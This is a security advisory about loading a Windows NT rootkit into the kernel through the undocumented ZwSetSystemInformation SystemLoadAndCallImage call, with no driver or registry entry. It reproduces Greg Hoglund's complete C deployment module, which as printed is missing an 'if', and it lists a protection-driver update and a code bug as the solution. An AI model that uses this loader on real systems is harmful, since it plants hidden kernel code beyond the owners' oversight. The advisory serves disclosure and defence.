COMMAND
SystemLoadAndCallImage
SYSTEMS AFFECTED
Win
PROBLEM
Greg Hoglund found following. For a while there has been a thread
on NTBUGTRAQ mailing list about kernel-mode protection from
rootkits. This is good - the whole point of rootkit.com project
is to get people thinking about the problem. For example, there
is now an ANTI-Rootkit (called Integrity Protection Driver) from
Pedestal Software.
At the Blackhat Briefings this year, more than a couple smart
people talked about how many ways you can load code into the NT
kernel - the obvious reaction to the whole "anti-rootkit" idea.
Most of the rootkit developers were in on this - so authors
decided to change the windows rootkit in response.
Up until now, the windows rootkit has been a driver. BUT, there
is no reason that a rootkit has to operate as a driver - or a
loadable module.
Last year Greg released rootkit to prove that user-mode
'integrity' software is completely meaningless. Think about it -
anyone who hacks your system is going to be able to load a
kernel mod - period. This is 100% guaranteed. If an attacker
gets into your system using a user-level account, they
will then obtain administrator - which has all the power
you'll ever need to load kernel-mode code. Given this fact, it
is easy to see that your 'host' based solutions are completely
vulnerable to modification without your knowledge.
The idea of putting your integrity protection into the kernel is
a very good one - but that isn't going to be done 'right' until
Microsoft does it themselves. And, _when_ they do, a whole
'security' market vanishes.
One of the ideas presented to load kernel mode code was to use an
undocumented entry point into kernel-space - such as the
/dev/physicalmemory device, or a syscall that uses
'SystemLoadAndCallImage'. Greg could continue to beat this down,
but the fact is there is no OS-supported leverage point to
control access into kernel mode - and becuase of this, new entry
points can always be discovered.
Assuming Microsoft actually fixes the NT architecture to protect
against this sort of thing - there is still the idea of finding
buffer overflows in the kernel itself. Every third party driver
you install opens you up to possible buffer overflows thru
IOCTL() commands and even normal read/write messages. Even the
default drivers in NT may be vulnerable to this.
While the rootkit was being handled as a driver, Greg used the
service control manager to load or remove the driver from kernel
space. This is standard, and it requires that the rootkit driver
have a registry key in the CurrentControlSet/Services tree. This
has been changed. Greg has changed the rootkit such that it loads
into kernel space with no driver or registry key required. No
longer use the service control manager. Instead, rootkit now
loads into kernel memory using a single interrupt call - an NT
system call known as ZwSetSystemInformation(). Using this call
you cause the rootkit to be immediately loaded into memory and
activated.
SourceCode:
////////////////////////////////////////
// New Deployment Module for rootkit 040
// -------------------------------------
// -Greg Hoglund http://www.rootkit.com
////////////////////////////////////////
#include <windows.h>
#include <stdio.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
#ifdef MIDL_PASS
[size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer;
#else // MIDL_PASS
PWSTR Buffer;
#endif // MIDL_PASS
} UNICODE_STRING, *PUNICODE_STRING;
typedef unsigned long NTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
NTSTATUS (__stdcall *ZwSetSystemInformation)(
IN DWORD SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength
);
VOID (__stdcall *RtlInitUnicodeString)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);
typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE
{
UNICODE_STRING ModuleName;
} SYSTEM_LOAD_AND_CALL_IMAGE, *PSYSTEM_LOAD_AND_CALL_IMAGE;
#define SystemLoadAndCallImage 38
void main(void)
{
///////////////////////////////////////////////////////////////
// Why mess with Drivers?
///////////////////////////////////////////////////////////////
SYSTEM_LOAD_AND_CALL_IMAGE GregsImage;
WCHAR daPath[] = L"\\??\\C:\\_root_.sys";
//////////////////////////////////////////////////////////////
// get DLL entry points
//////////////////////////////////////////////////////////////
if( !(RtlInitUnicodeString =
(void *) GetProcAddress( GetModuleHandle("ntdll.dll"),
"RtlInitUnicodeString" )) )
exit(1);
if( !(ZwSetSystemInformation =
(void *) GetProcAddress( GetModuleHandle("ntdll.dll"),
"ZwSetSystemInformation" )) )
exit(1);
RtlInitUnicodeString( &(GregsImage.ModuleName),
daPath );
NT_SUCCESS(
ZwSetSystemInformation( SystemLoadAndCallImage,
&GregsImage,
sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)) ))
{
printf("Rootkit Loaded.\n");
}
else
{
printf("Rootkit not loaded.\n");
}
}
SOLUTION
1. A new release of IPD now traps the ZwSetSystemInformation call
and prevents rootkit.com's latest rootkit. Get the developer's
version at
http://www.pedestalsoftware.com/intact/ipd/index.htm
2. rootkit.com's code has a bug. On line 19, it says "typedef
unsigned long NTSTATUS" when that should be "typedef long
NTSTATUS". Otherwise, the macro on line 20 will always be
true since an unsigned value is always greater than or equal
to 0; this means you will never know when the rootkit fails
to load.